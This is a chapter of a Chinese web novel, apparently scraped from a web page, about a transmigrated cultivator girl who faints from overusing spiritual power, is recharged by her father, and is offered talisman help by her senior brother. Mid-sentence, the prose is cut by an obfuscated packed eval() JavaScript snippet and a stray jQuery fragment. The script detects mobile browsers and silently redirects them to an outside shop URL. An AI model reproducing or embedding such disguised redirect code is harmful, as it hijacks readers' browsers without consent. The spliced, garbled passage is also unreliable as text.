陈春水全然当听不见陈水的阴阳怪气,有些遗憾道:“哎,那我又是独生女的剧本了。”
陈水很敏锐,抓住了关键词,问道:“什么叫又?”
“哦......”陈春水自知失言,解释道,“之前我就思考过这个问题,猜测自己大概是独生女,现在真的是,很遗憾呢,我是真的不太享受做独生女。”
陈水哼了一声,表示不赞同:“独生女有什么不好的,爸妈的爱和财富都给你一个人。”
这倒是一下敲醒了陈春水,见到陈水这么久,她还没想起过要问问母亲呢。
“诶,既然说到这,那我娘呢?”陈春水问道。
不会又是单亲剧本吧?
陈水难得默了默,没接话。
陈春水更觉得遗憾了,这家庭配置都和前世一模一样,粘贴复制过来的吗?
“哪有呢,你现在的爸爸是大能,你之前的爸爸是坏人!!”小七又悄悄地出现,道。
陈春水觉得好笑,虽然她亲爸对她确实是情感漠视,但也不算坏人吧。
“你怎么要说他是坏人呢,他没给爱但给了钱,也不算坏吧!”
“就是坏!就是坏!他对你一点也不好,就是坏!”小七怒气冲冲道。
陈春水哑然失笑。
这边,正担任陈春水亲爹的陈水清了清嗓子,道:“哎,你娘出远门了,得有个三年半载没回来了,说是出门历练,这不,就把咱爷俩抛弃了呗。”
“啊?”陈春水听到这解释,很是惊讶了。
“爹,其实是你说话太不好听了,然后娘被你气走了对吗?”陈春水非常单纯地补充情节。
“哪里会有这种事!”陈水勃然大怒,怒过又觉得这样坐实了自己真的气走了自家娘子,随即淡淡道,“你娘就是为人正直,喜欢行侠仗义,所以才外出呢。”
“那也不至于走这么久吧。”陈春水表示不信。
“那你可就搞错了,修士出门历练个三五年载太正常了,毕竟年龄不是按凡人来算的,”陈水道,“何况,白帝城之外的世界可大得很,纵然御剑前行一日千里,也得月余才能横跨整个大陆。”
“哦,原来是这样。”陈春水点点头表示自己知道了。
她现在还是保持着凡人的年龄观,倒还真忘了这件事,修士的十年折算下来等于凡人的一年,所以在凡间待个三年五载就如同休假一般罢,确实算不得长。
“好了好了,废话少说,你快点开始砍树吧。”陈水指了指那个小缺口道,“照你这么砍下去,一周可完成不了任务。”
陈春水看着陈水转身就要找荫凉地休息,道:“爹,你真的不帮你的独生女吗,你刚还说爱和财富都要给我呢。”
陈水粲然一笑,道:“不帮你也是对你的爱呀,自己的事情自己做,做父母的还是培养孩子自力更生的能力嘛。”
陈春水不死心,问道:“那我实在完不成任务,你帮帮我呗。”
“我真的会豁出去干的。”陈春水严肃发誓。
陈水上下看了她两眼,见她是打消了投机取巧的心思,这才点点头道:“行,爹帮你托底。”
陈春水甜甜地笑,道:“谢谢爹。”
随即,她便转身去拿起斧头砍树,她昨日学习了灵力运用的理论知识,今日正好能开始实践,所以还蛮有干劲。
陈水在一旁很快找到了一块荫凉地,刚坐下,抬头一看就不见了陈春水的影子。
“这臭丫头跑得这么快?”
陈水一边吐槽一边站了起来,再往缺口处看了看,想寻到陈春水的影子。
天上没有云地上有块银,穿着内门银线交织弟子服的陈春水竟然倒在了地上。
——————
陈春水再醒时已经到了下午了,她意识朦胧,只觉得浑身有些发热,恍恍惚惚间她发觉自己的视线内又是一块棕色的屋顶内部,像她刚穿过来时。
她好像没有触犯任何机制,但有残缺的金手指系统指不定就这么抽风呢,陈春水一下清醒了,准确说是被吓醒的。
她陡然坐起来,把在一旁打着瞌睡的陈水都吓了一跳。
“干嘛呢,跟尸体复活一样,直挺挺起来想吓唬谁。”陈水毫不客气地吐槽,顺手将自己设在陈春水周身的疗愈法阵撤掉。
陈春水大梦初醒,才发现原来没有重来。
她现在是在逢春院内。
“我怎么了啊,怎么会在逢春院内?”
陈水端了杯水给她,语气相当不善道:“你怎么了,我还想知道你怎么了呢。”
“我在树底下刚坐下,视线离开你不过三秒吧,一回头,你就倒在了地上呢。”陈水道。
“给你把了下脉,发现是你灵力用过头了,灵府干涸所以导致晕倒,你自己坦白吧,你把灵力用去干嘛了?”陈水直勾勾地盯着陈春水看。
陈春水刚醒来还真抵挡不住陈水的讯问,老实巴交道:“就,画符。”
“画符?”陈水很诧异,表情很夸张。
他反问道:“画符根本不需要这么多灵力吧,你在骗我。”
“没有骗你,是真的就画符。”
陈春水心里暗暗道确实没骗他,只是也不能告诉他事情的真相。
“你知道的,春闱就在一周之后了,我刚得到灵力,根本不会使用,昨日师兄叫我御符,我也掌握不好灵力,一不小心就把灵力用多了,失败次数一多,灵力消耗得也很快。”
说到这,陈春水很是苦恼,道:“而且,我的战术大概就是用符了,一周速成不了打斗,那我必须要提前御大量的符才好。”
“倒也不必如此急于求成吧,瞧你把自己搞成什么样了,走路上直接晕倒。”陈水难免有些心疼,道。
陈春水跟着摆了一个无可奈何的表情。
“既然只能靠御符,你现在御了几张符了?”陈水接着关切地问道。
小七原本悠悠的,听到陈水这话立即摆了一个惊恐的表情。
(?﹏?)
陈春水硬着头皮道:“爹,不瞒你说,一张符都没御出来……”
陈水默了。
他昨日见陈春水操控灵力就觉得有些不妙,但没能想到陈春水灵力纯粹到那种程度,实操上却又拉垮到这种程度。
陈春水小心观察着陈水,见他不如往常般开始阴阳怪气大呼小叫而且如此安静,有些摇摆不定,她觉得陈水给了她一种山雨欲来的紧张感,现在的风平浪静只是表象。
陈水思索了半天,觉得真的是自己给陈春水启蒙启晚了一点,他暗自后悔,没有席春在身边,自己就爱干些蠢事。
席春又不在,左右陈春水举目只有他这个爹了,他也只能尽力补救一些了。
他从方寸物里掏了掏,掏了一本书递给陈春水。
陈春水低眸看过去,发现又是一本无字书。
大能都喜欢无字书吗?
“爹,这是啥呀?”陈春水问道。
“练功的,你画符不是不行吗,那还是要从现在就开始把底子练好,日后当剑修或者器修。”陈水道。
实话说,陈春水现在真不想练功,她最讨厌锻炼了,所以是不情不愿地接过来,顺带替自己反驳道:“也不一定嘛,画符这件事,我才刚起步呢。”
陈水一言难尽地看了她一眼,道:“你自信就好。”
“这本秘籍你可以搭配着砍树一起,既能练体又能顺带完成任务,一举两得。”陈水道。
陈春水惊了,若要她说什么是真正的压榨,那这便是了。
“可我现在很虚弱诶!”她理直气壮地拒绝道,“我要休息几天,爹,你说了爱和财富都要给我的,你替我几天呗。”
陈水完全不吃这套,一把握住了陈春水的手。
不过几息的功夫,陈水便松开了她的手,宣布道:“好了,你现在不虚弱了,我给你把灵力补满了。”
随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704214|206754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
即,他也不管陈春水了,自己一人下山了。
陈春水看着他潇洒的背影,觉得不可置信,不是说修士之间的灵力一接触只有冲突对抗的结果吗?
“可他是你爸爸呀,大概是所谓的一脉相承吧。”小七╭(;???)╮道。
陈春水才不信,她握了握自己的手,却发现自己的灵力真的是被充满了。
这该死的一脉相承!
——————
下午剩余的时间,陈春水刷刷地看了十几页秘籍,又配合着砍树,一下子就把逢春山的那个缺口变得更明显了。
她练得忘乎所以,累极了,是师兄过来找她候她才发现自己练过了晚饭点。
谢余提了一个食盒过来,同昨日一样,将她带入了那片有瀑布和美景的世界。
两人依旧坐在那个亭子内。
不知是因为时间的不同还是因为陈春水有灵力后变得更加敏感,她觉得今天在这亭子里吃饭有种说不明的想搞破坏的冲动。
可如此美景,作为将绿水青山视为金山银山的陈春水自然舍不得破坏。
她想通了,便吃得更加轻快起来。
谢余依旧一句话未说,只是看着她吃饭,待她吃完后,推了一本书过来。
陈春水一看,原本满足的神色瞬间变成了吃了苦瓜一般。
师兄给的是有名字的书,叫拂云宗练体六十六讲。
怎回事啊,一个两个都要她练体。
她练得很不开心呢。
“怎么,不喜欢这本书?”谢余问道。
陈春水看着谢余试探的神色,明白了自己真是对师兄说不了任何一句重话,只摇摇头,将书拿过来翻看了起来。
里面的内容与陈水给的书相去甚远,但相当正规,对比之下,陈水那本书倒显得是在疯狂找捷径走捷径。
“练体还是最重要,不过御符也不可落下。”谢余道。
陈春水心下一动,道:“师兄觉得我能当符师?”
谢余觉得奇怪,反问道:“为何不可。”
陈春水便把书合起来放在一边,与谢余讲起今日下午发生的事。
“我爹觉得我没有御符的任何潜力,说让我去当剑修或者器修呢。”
“哎,我也在想我到底要不要继续御符呢,但估计还是要的吧,再怎么说,先要把春闱度过去!”陈春水苦恼得很,她想自己练御符都不能基本掌握更不用畅想七天能练体圆满了。
谢余听完这些话,略一思考,觉得师叔的判断也不无道理,但也过于武断了。
他宽慰道:“你笼共也只御了一天符,看不出什么潜力。”
接着,他话锋一转,道:“不过若是一开始这样,根据三山其余弟子们的情况来看,七天之内学会御符也很困难。”
陈春水心道果然,郁闷地趴在桌子上了,侧着脑袋看谢余,问道:“那师兄,你可有什么办法嘛,让我七天能学会御符。”
谢余皱着眉想了想,摇了摇头。
陈春水料到了,浅浅叹了口气,倒也没有太伤心。
谢余就瞧着如一朵蔫下去的花一般的陈春水,便将脑袋偏了偏靠到自己肩上,这样两人就是一个平面对视了。
他开口道:“师兄没有让你速成的办法,但师兄能帮你御符。”
谢余的眼睛亮亮的,陈春水盯着看了好一会,才后知后觉谢余刚才说了话。
“诶?”陈春水反应迟钝道。
中枢处理了谢余话语的意思后,她以为自己出现了幻觉,立马坐直了,惊讶道:“诶?!”
谢余觉得可爱,笑了一下,随即慢慢抬头,看见了陈春水一副飘飘然不可置信的样子。
他便再重复了一遍,好叫她安心。
“帮忙御符不算犯规,所以师兄帮你御符,你到时就将那些符纸带上去用。”
“接下来的日子就不要苦恼了,照自己的节奏练体和操控灵力吧。”他温声道。